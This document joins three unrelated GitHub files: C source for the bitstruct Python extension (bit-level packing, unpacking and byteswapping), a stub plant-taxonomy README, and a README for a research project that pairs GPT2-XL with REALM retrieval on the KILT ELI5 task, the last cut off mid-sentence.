uint8_t *packed_p; Py_ssize_t size; long offset; offset = parse_offset(offset_p); if (offset == -1) { return (-1); } if (!PyByteArray_Check(buf_p)) { PyErr_SetString(PyExc_TypeError, "Bytearray needed."); return (-1); } packed_p = (uint8_t *)PyByteArray_AsString(buf_p); if (packed_p == NULL) { return (-1); } size = PyByteArray_GET_SIZE(buf_p); if (size < ((info_p->number_of_bits + offset + 7) / 8)) { PyErr_Format(PyExc_ValueError, "pack_into requires a buffer of at least %ld bits", info_p->number_of_bits + offset); return (-1); } bitstream_writer_init(writer_p, packed_p); bitstream_writer_bounds_save(bounds_p, writer_p, offset, info_p->number_of_bits); bitstream_writer_seek(writer_p, offset); return (0); } static PyObject *pack_into_finalize(struct bitstream_writer_bounds_t *bounds_p) { bitstream_writer_bounds_restore(bounds_p); if (PyErr_Occurred() != NULL) { return (NULL); } Py_RETURN_NONE; } static PyObject *pack_into(struct info_t *info_p, PyObject *buf_p, PyObject *offset_p, PyObject *args_p, Py_ssize_t consumed_args, Py_ssize_t number_of_args) { struct bitstream_writer_t writer; struct bitstream_writer_bounds_t bounds; int res; if ((number_of_args - consumed_args) < info_p->number_of_non_padding_fields) { PyErr_SetString(PyExc_ValueError, "Too few arguments."); return (NULL); } res = pack_into_prepare(info_p, buf_p, offset_p, &writer, &bounds); if (res != 0) { return (NULL); } pack_pack(info_p, args_p, consumed_args, &writer); return (pack_into_finalize(&bounds)); } static PyObject *m_pack_into(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *buf_p; PyObject *offset_p; PyObject *res_p; Py_ssize_t number_of_args; struct info_t *info_p; number_of_args = PyTuple_GET_SIZE(args_p); if (number_of_args < 3) { PyErr_SetString(PyExc_ValueError, "Too few arguments."); return (NULL); } format_p = PyTuple_GET_ITEM(args_p, 0); buf_p = PyTuple_GET_ITEM(args_p, 1); offset_p = PyTuple_GET_ITEM(args_p, 2); info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } res_p = pack_into(info_p, buf_p, offset_p, args_p, 3, number_of_args); PyMem_RawFree(info_p); return (res_p); } static PyObject *unpack_from(struct info_t *info_p, PyObject *data_p, PyObject *offset_p, PyObject *allow_truncated_p) { long offset; offset = parse_offset(offset_p); if (offset == -1) { return (NULL); } return (unpack(info_p, data_p, offset, allow_truncated_p)); } static PyObject *m_unpack_from(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *data_p; PyObject *offset_p; PyObject *unpacked_p; PyObject *allow_truncated_p; struct info_t *info_p; int res; static char *keywords[] = { "fmt", "data", "offset", "allow_truncated", NULL }; offset_p = py_zero_p; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OO|OO", &keywords[0], &format_p, &data_p, &offset_p, &allow_truncated_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } unpacked_p = unpack_from(info_p, data_p, offset_p, allow_truncated_p); PyMem_RawFree(info_p); return (unpacked_p); } static void pack_dict_pack(struct info_t *info_p, PyObject *names_p, PyObject *data_p, struct bitstream_writer_t *writer_p) { PyObject *value_p; int i; int consumed_args; struct field_info_t *field_p; consumed_args = 0; for (i = 0; i < info_p->number_of_fields; i++) { field_p = &info_p->fields[i]; if (field_p->is_padding) { value_p = NULL; } else { value_p = PyDict_GetItem(data_p, PyList_GET_ITEM(names_p, consumed_args)); consumed_args++; if (value_p == NULL) { PyErr_SetString(PyExc_KeyError, "Missing value."); break; } } info_p->fields[i].pack(writer_p, value_p, field_p); } } static PyObject *pack_dict(struct info_t *info_p, PyObject *names_p, PyObject *data_p) { struct bitstream_writer_t writer; PyObject *packed_p; if (PyList_GET_SIZE(names_p) < info_p->number_of_non_padding_fields) { PyErr_SetString(PyExc_ValueError, "Too few names."); return (NULL); } packed_p = pack_prepare(info_p, &writer); if (packed_p == NULL) { return (NULL); } pack_dict_pack(info_p, names_p, data_p, &writer); return (pack_finalize(packed_p)); } PyDoc_STRVAR(pack_dict___doc__, "pack_dict(fmt, names, data)\n" "--\n" "\n"); static PyObject *m_pack_dict(PyObject *module_p, PyObject *args_p) { PyObject *format_p; PyObject *names_p; PyObject *data_p; PyObject *packed_p; struct info_t *info_p; int res; res = PyArg_ParseTuple(args_p, "OOO", &format_p, &names_p, &data_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } if (!is_names_list(names_p)) { return (NULL); } packed_p = pack_dict(info_p, names_p, data_p); PyMem_RawFree(info_p); return (packed_p); } static PyObject *unpack_dict(struct info_t *info_p, PyObject *names_p, PyObject *data_p, long offset, PyObject *allow_truncated_p) { struct bitstream_reader_t reader; PyObject *unpacked_p; PyObject *value_p; char *packed_p; int i; Py_ssize_t size; int res; int produced_args; int allow_truncated; if (PyList_GET_SIZE(names_p) < info_p->number_of_non_padding_fields) { PyErr_SetString(PyExc_ValueError, "Too few names."); return (NULL); } unpacked_p = PyDict_New(); if (unpacked_p == NULL) { return (NULL); } res = PyBytes_AsStringAndSize(data_p, &packed_p, &size); if (res == -1) { goto out1; } allow_truncated = PyObject_IsTrue(allow_truncated_p); if (!allow_truncated && size < ((info_p->number_of_bits + offset + 7) / 8)) { PyErr_SetString(PyExc_ValueError, "Short data."); goto out1; } bitstream_reader_init(&reader, (uint8_t *)packed_p); bitstream_reader_seek(&reader, offset); produced_args = 0; for (i = 0; i < info_p->number_of_fields; i++) { if (size*8 < reader.bit_offset + info_p->fields[i].number_of_bits) break; value_p = info_p->fields[i].unpack(&reader, &info_p->fields[i]); if (value_p != NULL) { PyDict_SetItem(unpacked_p, PyList_GET_ITEM(names_p, produced_args), value_p); Py_DECREF(value_p); produced_args++; } } out1: if (PyErr_Occurred() != NULL) { Py_DECREF(unpacked_p); unpacked_p = NULL; } return (unpacked_p); } PyDoc_STRVAR(unpack_dict___doc__, "unpack_dict(fmt, names, data, allow_truncated=False)\n" "--\n" "\n"); static PyObject *m_unpack_dict(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *names_p; PyObject *data_p; PyObject *allow_truncated_p; PyObject *unpacked_p; struct info_t *info_p; int res; static char *keywords[] = { "fmt", "names", "data", "allow_truncated", NULL }; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OOO|O", &keywords[0], &format_p, &names_p, &data_p, &allow_truncated_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } if (!is_names_list(names_p)) { return (NULL); } unpacked_p = unpack_dict(info_p, names_p, data_p, 0, allow_truncated_p); PyMem_RawFree(info_p); return (unpacked_p); } static PyObject *unpack_from_dict(struct info_t *info_p, PyObject *names_p, PyObject *data_p, PyObject *offset_p, PyObject *allow_truncated_p) { long offset; offset = parse_offset(offset_p); if (offset == -1) { return (NULL); } return (unpack_dict(info_p, names_p, data_p, offset, allow_truncated_p)); } static PyObject *pack_into_dict(struct info_t *info_p, PyObject *names_p, PyObject *buf_p, PyObject *offset_p, PyObject *data_p) { struct bitstream_writer_t writer; struct bitstream_writer_bounds_t bounds; int res; res = pack_into_prepare(info_p, buf_p, offset_p, &writer, &bounds); if (res != 0) { return (NULL); } pack_dict_pack(info_p, names_p, data_p, &writer); return (pack_into_finalize(&bounds)); } PyDoc_STRVAR(pack_into_dict___doc__, "pack_into_dict(fmt, names, buf, offset, data, **kwargs)\n" "--\n" "\n"); static PyObject *m_pack_into_dict(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *names_p; PyObject *buf_p; PyObject *offset_p; PyObject *data_p; PyObject *res_p; struct info_t *info_p; int res; static char *keywords[] = { "fmt", "names", "buf", "offset", "data", NULL }; offset_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OOOOO", &keywords[0], &format_p, &names_p, &buf_p, &offset_p, &data_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } if (!is_names_list(names_p)) { return (NULL); } res_p = pack_into_dict(info_p, names_p, buf_p, offset_p, data_p); PyMem_RawFree(info_p); return (res_p); } PyDoc_STRVAR(unpack_from_dict___doc__, "unpack_from_dict(fmt, names, data, offset=0, allow_truncated=False)\n" "--\n" "\n"); static PyObject *m_unpack_from_dict(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *names_p; PyObject *data_p; PyObject *offset_p; PyObject *allow_truncated_p; PyObject *unpacked_p; struct info_t *info_p; int res; static char *keywords[] = { "fmt", "names", "data", "offset", "allow_truncated", NULL }; offset_p = py_zero_p; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OOO|OO", &keywords[0], &format_p, &names_p, &data_p, &offset_p, &allow_truncated_p); if (res == 0) { return (NULL); } info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } if (!is_names_list(names_p)) { return (NULL); } unpacked_p = unpack_from_dict(info_p, names_p, data_p, offset_p, allow_truncated_p); PyMem_RawFree(info_p); return (unpacked_p); } static PyObject *calcsize(struct info_t *info_p) { return (PyLong_FromLong(info_p->number_of_bits)); } static PyObject *m_calcsize(PyObject *module_p, PyObject *format_p) { PyObject *size_p; struct info_t *info_p; info_p = parse_format(format_p); if (info_p == NULL) { return (NULL); } size_p = calcsize(info_p); PyMem_RawFree(info_p); return (size_p); } PyDoc_STRVAR(byteswap___doc__, "byteswap(fmt, data, offset=0)\n" "--\n" "\n"); static PyObject *m_byteswap(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *data_p; PyObject *swapped_p; const char *c_format_p; uint8_t *src_p; uint8_t *dst_p; Py_ssize_t size; int res; int offset; static char *keywords[] = { "fmt", "data", NULL }; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OO", &keywords[0], &format_p, &data_p); if (res == 0) { return (NULL); } c_format_p = PyUnicode_AsUTF8(format_p); if (c_format_p == NULL) { return (NULL); } res = PyBytes_AsStringAndSize(data_p, (char **)&src_p, &size); if (res == -1) { return (NULL); } swapped_p = PyBytes_FromStringAndSize(NULL, size); if (swapped_p == NULL) { return (NULL); } dst_p = (uint8_t *)PyBytes_AS_STRING(swapped_p); offset = 0; while (*c_format_p != '\0') { switch (*c_format_p) { case '1': if ((size - offset) < 1) { goto out1; } dst_p[offset] = src_p[offset]; offset += 1; break; case '2': if ((size - offset) < 2) { goto out1; } dst_p[offset + 0] = src_p[offset + 1]; dst_p[offset + 1] = src_p[offset + 0]; offset += 2; break; case '4': if ((size - offset) < 4) { goto out1; } dst_p[offset + 0] = src_p[offset + 3]; dst_p[offset + 1] = src_p[offset + 2]; dst_p[offset + 2] = src_p[offset + 1]; dst_p[offset + 3] = src_p[offset + 0]; offset += 4; break; case '8': if ((size - offset) < 8) { goto out1; } dst_p[offset + 0] = src_p[offset + 7]; dst_p[offset + 1] = src_p[offset + 6]; dst_p[offset + 2] = src_p[offset + 5]; dst_p[offset + 3] = src_p[offset + 4]; dst_p[offset + 4] = src_p[offset + 3]; dst_p[offset + 5] = src_p[offset + 2]; dst_p[offset + 6] = src_p[offset + 1]; dst_p[offset + 7] = src_p[offset + 0]; offset += 8; break; default: PyErr_Format(PyExc_ValueError, "Expected 1, 2, 4 or 8, but got %c.", (char)*c_format_p); goto out2; } c_format_p++; } return (swapped_p); out1: PyErr_SetString(PyExc_ValueError, "Out of data to swap."); out2: return (NULL); } static PyObject *compiled_format_create(PyTypeObject *type_p, PyObject *format_p) { PyObject *self_p; self_p = compiled_format_new(type_p, NULL, NULL); if (self_p == NULL) { return (NULL); } if (compiled_format_init_inner((struct compiled_format_t *)self_p, format_p) != 0) { return (NULL); } return (self_p); } static PyObject *compiled_format_new(PyTypeObject *type_p, PyObject *args_p, PyObject *kwargs_p) { return (type_p->tp_alloc(type_p, 0)); } static int compiled_format_init(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p) { int res; PyObject *format_p; static char *keywords[] = { "fmt", NULL }; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O", &keywords[0], &format_p); if (res == 0) { return (-1); } return (compiled_format_init_inner(self_p, format_p)); } static int compiled_format_init_inner(struct compiled_format_t *self_p, PyObject *format_p) { self_p->info_p = parse_format(format_p); if (self_p->info_p == NULL) { PyObject_Free(self_p); return (-1); } Py_INCREF(format_p); self_p->format_p = format_p; return (0); } static void compiled_format_dealloc(struct compiled_format_t *self_p) { PyMem_RawFree(self_p->info_p); Py_DECREF(self_p->format_p); } static PyObject *m_compiled_format_pack(struct compiled_format_t *self_p, PyObject *args_p) { return (pack(self_p->info_p, args_p, 0, PyTuple_GET_SIZE(args_p))); } static PyObject *m_compiled_format_unpack(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *data_p; PyObject *allow_truncated_p; int res; static char *keywords[] = { "data", "allow_truncated", NULL }; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O|O", &keywords[0], &data_p, &allow_truncated_p); if (res == 0) { return (NULL); } return (unpack(self_p->info_p, data_p, 0, allow_truncated_p)); } static PyObject *m_compiled_format_pack_into(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *buf_p; PyObject *offset_p; Py_ssize_t number_of_args; number_of_args = PyTuple_GET_SIZE(args_p); if (number_of_args < 2) { PyErr_SetString(PyExc_ValueError, "Too few arguments."); return (NULL); } buf_p = PyTuple_GET_ITEM(args_p, 0); offset_p = PyTuple_GET_ITEM(args_p, 1); return (pack_into(self_p->info_p, buf_p, offset_p, args_p, 2, number_of_args)); } static PyObject *m_compiled_format_unpack_from(struct compiled_format_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *data_p; PyObject *offset_p; PyObject *allow_truncated_p; int res; static char *keywords[] = { "data", "offset", "allow_truncated", NULL }; offset_p = py_zero_p; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O|OO", &keywords[0], &data_p, &offset_p, &allow_truncated_p); if (res == 0) { return (NULL); } return (unpack_from(self_p->info_p, data_p, offset_p, allow_truncated_p)); } static PyObject *m_compiled_format_calcsize(struct compiled_format_t *self_p) { return (calcsize(self_p->info_p)); } static PyObject *m_compiled_format_copy(struct compiled_format_t *self_p) { struct compiled_format_t *new_p; size_t info_size; new_p = (struct compiled_format_t *)compiled_format_new( &compiled_format_type, NULL, NULL); if (new_p == NULL) { return (NULL); } info_size = sizeof(*self_p->info_p); info_size += (sizeof(self_p->info_p->fields[0]) * (self_p->info_p->number_of_fields - 1)); new_p->info_p = PyMem_RawMalloc(info_size); if (new_p->info_p == NULL) { /* ToDo: Free new_p. */ return (NULL); } memcpy(new_p->info_p, self_p->info_p, info_size); Py_INCREF(self_p->format_p); new_p->format_p = self_p->format_p; return ((PyObject *)new_p); } static PyObject *m_compiled_format_deepcopy(struct compiled_format_t *self_p, PyObject *args_p) { return (m_compiled_format_copy(self_p)); } static PyObject *m_compiled_format_getstate(struct compiled_format_t *self_p, PyObject *args_p) { return (Py_BuildValue("{sOsi}", "format", self_p->format_p, pickle_version_key, pickle_version)); } static PyObject *m_compiled_format_setstate(struct compiled_format_t *self_p, PyObject *state_p) { PyObject *version_p; int version; PyObject *format_p; if (!PyDict_CheckExact(state_p)) { PyErr_SetString(PyExc_ValueError, "Pickled object is not a dict."); return (NULL); } version_p = PyDict_GetItemString(state_p, pickle_version_key); if (version_p == NULL) { PyErr_Format(PyExc_KeyError, "No \"%s\" in pickled dict.", pickle_version_key); return (NULL); } version = (int)PyLong_AsLong(version_p); if (version != pickle_version) { PyErr_Format(PyExc_ValueError, "Pickle version mismatch. Got version %d but expected version %d.", version, pickle_version); return (NULL); } format_p = PyDict_GetItemString(state_p, "format"); if (format_p == NULL) { PyErr_SetString(PyExc_KeyError, "No \"format\" in pickled dict."); return (NULL); } if (compiled_format_init_inner(self_p, format_p) != 0) { return (NULL); } Py_RETURN_NONE; } static PyObject *compiled_format_dict_create(PyTypeObject *type_p, PyObject *format_p, PyObject *names_p) { PyObject *self_p; self_p = compiled_format_dict_new(type_p, NULL, NULL); if (self_p == NULL) { return (NULL); } if (compiled_format_dict_init_inner((struct compiled_format_dict_t *)self_p, format_p, names_p) != 0) { return (NULL); } return (self_p); } static PyObject *compiled_format_dict_new(PyTypeObject *type_p, PyObject *args_p, PyObject *kwargs_p) { return (type_p->tp_alloc(type_p, 0)); } static int compiled_format_dict_init(struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p) { int res; PyObject *format_p; PyObject *names_p; static char *keywords[] = { "fmt", "names", NULL }; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OO", &keywords[0], &format_p, &names_p); if (res == 0) { return (-1); } return (compiled_format_dict_init_inner(self_p, format_p, names_p)); } static int compiled_format_dict_init_inner(struct compiled_format_dict_t *self_p, PyObject *format_p, PyObject *names_p) { if (!is_names_list(names_p)) { return (-1); } self_p->info_p = parse_format(format_p); if (self_p->info_p == NULL) { PyObject_Free(self_p); return (-1); } Py_INCREF(format_p); self_p->format_p = format_p; Py_INCREF(names_p); self_p->names_p = names_p; return (0); } static void compiled_format_dict_dealloc(struct compiled_format_dict_t *self_p) { PyMem_RawFree(self_p->info_p); Py_DECREF(self_p->names_p); Py_DECREF(self_p->format_p); } static PyObject *m_compiled_format_dict_pack(struct compiled_format_dict_t *self_p, PyObject *data_p) { return (pack_dict(self_p->info_p, self_p->names_p, data_p)); } static PyObject *m_compiled_format_dict_unpack( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *data_p; PyObject *allow_truncated_p; int res; static char *keywords[] = { "data", "allow_truncated", NULL }; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O|O", &keywords[0], &data_p, &allow_truncated_p); if (res == 0) { return (NULL); } return (unpack_dict(self_p->info_p, self_p->names_p, data_p, 0, allow_truncated_p)); } static PyObject *m_compiled_format_dict_pack_into( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *buf_p; PyObject *data_p; PyObject *offset_p; int res; static char *keywords[] = { "buf", "data", "offset", NULL }; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "OOO", &keywords[0], &buf_p, &data_p, &offset_p); if (res == 0) { return (NULL); } return (pack_into_dict(self_p->info_p, self_p->names_p, buf_p, data_p, offset_p)); } static PyObject *m_compiled_format_dict_unpack_from( struct compiled_format_dict_t *self_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *data_p; PyObject *offset_p; PyObject *allow_truncated_p; int res; static char *keywords[] = { "data", "offset", NULL }; offset_p = py_zero_p; allow_truncated_p = py_zero_p; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O|OO", &keywords[0], &data_p, &offset_p, &allow_truncated_p); if (res == 0) { return (NULL); } return (unpack_from_dict(self_p->info_p, self_p->names_p, data_p, offset_p, allow_truncated_p)); } static PyObject *m_compiled_format_dict_calcsize( struct compiled_format_dict_t *self_p) { return (calcsize(self_p->info_p)); } static PyObject *m_compiled_format_dict_copy(struct compiled_format_dict_t *self_p) { struct compiled_format_dict_t *new_p; size_t info_size; new_p = (struct compiled_format_dict_t *)compiled_format_dict_new( &compiled_format_dict_type, NULL, NULL); if (new_p == NULL) { return (NULL); } info_size = sizeof(*self_p->info_p); info_size += (sizeof(self_p->info_p->fields[0]) * (self_p->info_p->number_of_fields - 1)); new_p->info_p = PyMem_RawMalloc(info_size); if (new_p->info_p == NULL) { /* ToDo: Free new_p. */ return (NULL); } memcpy(new_p->info_p, self_p->info_p, info_size); Py_INCREF(self_p->names_p); new_p->names_p = self_p->names_p; Py_INCREF(self_p->format_p); new_p->format_p = self_p->format_p; return ((PyObject *)new_p); } static PyObject *m_compiled_format_dict_deepcopy(struct compiled_format_dict_t *self_p, PyObject *args_p) { return (m_compiled_format_dict_copy(self_p)); } PyDoc_STRVAR(compile___doc__, "compile(fmt, names=None)\n" "--\n" "\n"); static PyObject *m_compiled_format_dict_getstate(struct compiled_format_dict_t *self_p, PyObject *args_p) { return (Py_BuildValue("{sOsOsi}", "format", self_p->format_p, "names", self_p->names_p, pickle_version_key, pickle_version)); } static PyObject *m_compiled_format_dict_setstate(struct compiled_format_dict_t *self_p, PyObject *state_p) { PyObject *version_p; int version; PyObject *format_p; PyObject *names_p; if (!PyDict_CheckExact(state_p)) { PyErr_SetString(PyExc_ValueError, "Pickled object is not a dict."); return (NULL); } version_p = PyDict_GetItemString(state_p, pickle_version_key); if (version_p == NULL) { PyErr_Format(PyExc_KeyError, "No \"%s\" in pickled dict.", pickle_version_key); return (NULL); } version = (int)PyLong_AsLong(version_p); if (version != pickle_version) { PyErr_Format(PyExc_ValueError, "Pickle version mismatch. Got version %d but expected version %d.", version, pickle_version); return (NULL); } format_p = PyDict_GetItemString(state_p, "format"); if (format_p == NULL) { PyErr_SetString(PyExc_KeyError, "No \"format\" in pickled dict."); return (NULL); } names_p = PyDict_GetItemString(state_p, "names"); if (names_p == NULL) { PyErr_SetString(PyExc_KeyError, "No \"names\" in pickled dict."); return (NULL); } if (compiled_format_dict_init_inner(self_p, format_p, names_p) != 0) { return (NULL); } Py_RETURN_NONE; } static PyObject *m_compile(PyObject *module_p, PyObject *args_p, PyObject *kwargs_p) { PyObject *format_p; PyObject *names_p; int res; static char *keywords[] = { "fmt", "names", NULL }; names_p = Py_None; res = PyArg_ParseTupleAndKeywords(args_p, kwargs_p, "O|O", &keywords[0], &format_p, &names_p); if (res == 0) { return (NULL); } if (names_p == Py_None) { return (compiled_format_create(&compiled_format_type, format_p)); } else { return (compiled_format_dict_create(&compiled_format_dict_type, format_p, names_p)); } } static struct PyMethodDef methods[] = { { "pack", m_pack, METH_VARARGS, pack___doc__ }, { "unpack", (PyCFunction)m_unpack, METH_VARARGS | METH_KEYWORDS, unpack___doc__ }, { "pack_into", (PyCFunction)m_pack_into, METH_VARARGS | METH_KEYWORDS, pack_into___doc__ }, { "unpack_from", (PyCFunction)m_unpack_from, METH_VARARGS | METH_KEYWORDS, unpack_from___doc__ }, { "pack_dict", m_pack_dict, METH_VARARGS, pack_dict___doc__ }, { "unpack_dict", (PyCFunction)m_unpack_dict, METH_VARARGS | METH_KEYWORDS, unpack_dict___doc__ }, { "pack_into_dict", (PyCFunction)m_pack_into_dict, METH_VARARGS | METH_KEYWORDS, pack_into_dict___doc__ }, { "unpack_from_dict", (PyCFunction)m_unpack_from_dict, METH_VARARGS | METH_KEYWORDS, unpack_from_dict___doc__ }, { "calcsize", m_calcsize, METH_O, calcsize___doc__ }, { "byteswap", (PyCFunction)m_byteswap, METH_VARARGS | METH_KEYWORDS, byteswap___doc__ }, { "compile", (PyCFunction)m_compile, METH_VARARGS | METH_KEYWORDS, compile___doc__ }, { NULL } }; static PyModuleDef module = { PyModuleDef_HEAD_INIT, .m_name = "bitstruct.c", .m_doc = "bitstruct C extension", .m_size = -1, .m_methods = methods }; PyMODINIT_FUNC PyInit_c(void) { PyObject *module_p; if (PyType_Ready(&compiled_format_type) < 0) { return (NULL); } if (PyType_Ready(&compiled_format_dict_type) < 0) { return (NULL); } py_zero_p = PyLong_FromLong(0); module_p = PyModule_Create(&module); if (module_p == NULL) { return (NULL); } Py_INCREF(&compiled_format_type); if (PyModule_AddObject(module_p, "CompiledFormat", (PyObject *)&compiled_format_type) < 0) { Py_DECREF(&compiled_format_type); Py_DECREF(module_p); return (NULL); } if (PyModule_AddObject(module_p, "CompiledFormatDict", (PyObject *)&compiled_format_dict_type) < 0) { Py_DECREF(&compiled_format_dict_type); Py_DECREF(module_p); return (NULL); } return (module_p); }
{ "content_hash": "b9e7b4169e46758545458358fcb48a69", "timestamp": "", "source": "github", "line_count": 2617, "max_line_length": 88, "avg_line_length": 26.028276652655713, "alnum_prop": 0.4936725585765459, "repo_name": "eerimoq/bitstruct", "id": "1ebbedece2c409c8bcf114281a5686519c4aafae", "size": "68116", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "bitstruct/c.c", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "91649" }, { "name": "Makefile", "bytes": "60" }, { "name": "Python", "bytes": "70181" } ], "symlink_target": "" }
ACCEPTED #### According to International Plant Names Index #### Published in null #### Original name null ### Remarks null
{ "content_hash": "dcd51739061357024b6756ea77b2471e", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 31, "avg_line_length": 9.692307692307692, "alnum_prop": 0.7063492063492064, "repo_name": "mdoering/backbone", "id": "dba82fc2c85bccf17adfcb5bc34df276851a64b9", "size": "184", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "life/Plantae/Magnoliophyta/Magnoliopsida/Celastrales/Celastraceae/Gymnosporia/Gymnosporia ilicina/README.md", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
Project realized by **Jules Gagnon-Marchand** ([Mila](mila.quebec)) while interning at Google Brain, under the supervision of **Noam Shazeer** (Brain) and **Aurko Roy** (Brain). *[jgagnonmarchand@gmail.com](jgagnonmarchand@gmail.com), [noam@google.com](noam@google.com), [aurkor@google.com](aurkor@google.com)* ### Description The objective is to test a reasonably large language model (GPT2-XL, 1.5B parameters) on the [Kilt](https://ai.facebook.com/tools/kilt/) version of the [ELI5](https://www.aclweb.org/anthology/P19-1346/) task when it is combined with a retriever ([REALM](https://arxiv.org/abs/2002.08909) in this case). We wanted to observe whether larger causal language models can make use of the retrieved contextual information, as their reasoning capacities are stronger than that previously tested models. Indeed, it has been shown recently that smaller language models don't make use of the retrieved text in the context of ELI5. In this project we investigate whether increasing the model capacity can play a role in making the models use retrievals. Models with increased capacity have improved reasoning capabilities, which may help here. Once the usefulness of retrievals for larger language models would be established, inspecting what kinds of retrievals are useful and why would be a next step, as well as investigating the effects of the retrieval on factual consistency in generation, which is a problem of major interest right now, with massive financial implications, as it would allow the use of generative text models in products (other than translation). Inspecting what kinds of retrievals are useful and why would be a next step, as well as investigating the effects of the retrieval on factual consistency in generation, which is a problem of major interest right now. ### Usage To train the model, you can find examples of configuration in the `configs/train_configs/` folder, and use them as follows: ``` python main.py $(python json_to_args.py configs/train_configs/file_of_your_chosing.json) ``` ### Approaches: ##### Simple Language Modelling: We use GPT2-XL to train over the whole of [Kilt](https://ai.facebook.com/tools/kilt/) ELI5, masking the question in the loss computation. ##### Real time retrieval with Scann and REALM: We use GPT2-XL (Or GPT2 models of other size). Retrievals are done over Wikipedia and concatenated to the question, and the answer is then concatenated. The question and the context are masked in the loss. The model is trained with simple language modeling otherwise. Spaces are added between the question and first context, between the contexts, and between the last context and the answer. There is also to add helper words such as "Question: ", " Context: ", and " Answer: " (all masked in the loss), to make the task easier to understand for the model. The retriever used is the REALM retriever. Retrieval is made using the REALM query embedder on the question. ##### Pre-made retrieval with exact retrievals and runtime sampling Instead of using ScaNN to do live retrievals at training and evaluation time, as the questions don't change, we do all the retrievals in advance with an exact retriever. Each question is embedded with the REALM retriever, and we save a number (100) of exact MIP nearest neighbors in TFRecord files, as well as the id of the question they are associated with. We save the indices of the REALM wikipedia segments DB of the MIP nearest neighbors, as well as the inner products, so the inner products can be used as logits for sampling, at language model training time. We started by using HDF5 instead of TFRecords, but it turns out that `tf.data` tries to load the whole file in memory, defeating the point of a memory mapped array (and often crashing the instance), and didn't allow to use `tf.distribute.TPUStrategy.experimental_distribute_dataset` and automatic dataset sharding per TPU. When we train over ELI5 with GPT2, we use the indices of the current question to get back the indices of the entries of the REALM Wikipedia segments that are the closest neighbors. We also get the inner products, which are used to sample from the neighbors saved for a question, with a temperature parameter. We obtain the probability of sampling a neighbor by doing `softmax(inner_products / temperature)`, and we then do sampling without replacement. ### Parallelism: - The training script supports large scale parallelism on TPUs and on GPUs through `tf.distribute.TPUStrategy` and `tf.distribute.MirroredStrategy`, respectively. - The full data pipeline uses `tf.data.Datasets`, including the retriever. This allows us to use `tf.distribute.Strategy.experimental_distribute_dataset` to automatically shard the dataset on the TPUs. - The query caching script supports parallelism with `tf.distribute.TPUStrategy` and `tf.distribute.MirroredStrategy`, although in our experience, a single V100 is enough (done in slightly over an hour). ### Executables: - **`main.py`**: Script to launch the distributed training of one of the different approaches. - **`generation.py`**: Script to launch generation from previously trained models. Also massively distributed. - **`query_cacher_tfrecord.py`**: Script to prepare the pre-made retrievals for ELI5, for the FullyCachedRetriever, with TFRecords. - **`util_scripts/scann_test_recall.py`**: Tests the recall of one's desired Scann configuration for a certain specified datast, by comparing to exact retrieval. - `check_flags.py`: Tool that looks at a script to check if all variables of the type `_FLAG_*` and `FLAG_*` end with `.value` if they aren't being defined with `flag.DEFINE_*`. This is just a baseline test to check to detect easy mistakes. - `json_to_args.py`: Simple utility that reads a `.json` file and outputs command line arguments compatible with `absl.flags`, so one can run `python script.py $(python to_flag.py config/script_flags.json)` - `util_scripts/count_records.py`: Counts the number of records in the REAM database. - `util_scripts/create_data_subset_realm.py`: Creates a subset of the REALM dataset, for debugging purposes, to prevent long loading times. ### Libraries: - **`retrievers.py`**: Location of the retriever classes and the retriever related logic in general. - **`task_specific_.py`**: Location of the dataset preparation logic, of the model loading logic, and of an important part of the parallelism logic. - `bert_utils.py`: Various BERT related utilities, for things such as loading it's tokenizer. - `constants.py`: Various configuration constants used throughout the solution, such as the different types of parallelism flags that are supported, the different training approaches that are supported, the different retrieval types that are supported. - `modeling_tf_gpt2_model_par.py`: GPT2 modeling script modified from HuggingFace's GPT2 modeling script to support splitting models vertically amongst a number of accelerators, over a number of replicas. - `scann_utils.py`: Various utilities relating to scann. - `tf_utils.py`: Utilities involving Tensorflow, such as logic directly dealing with 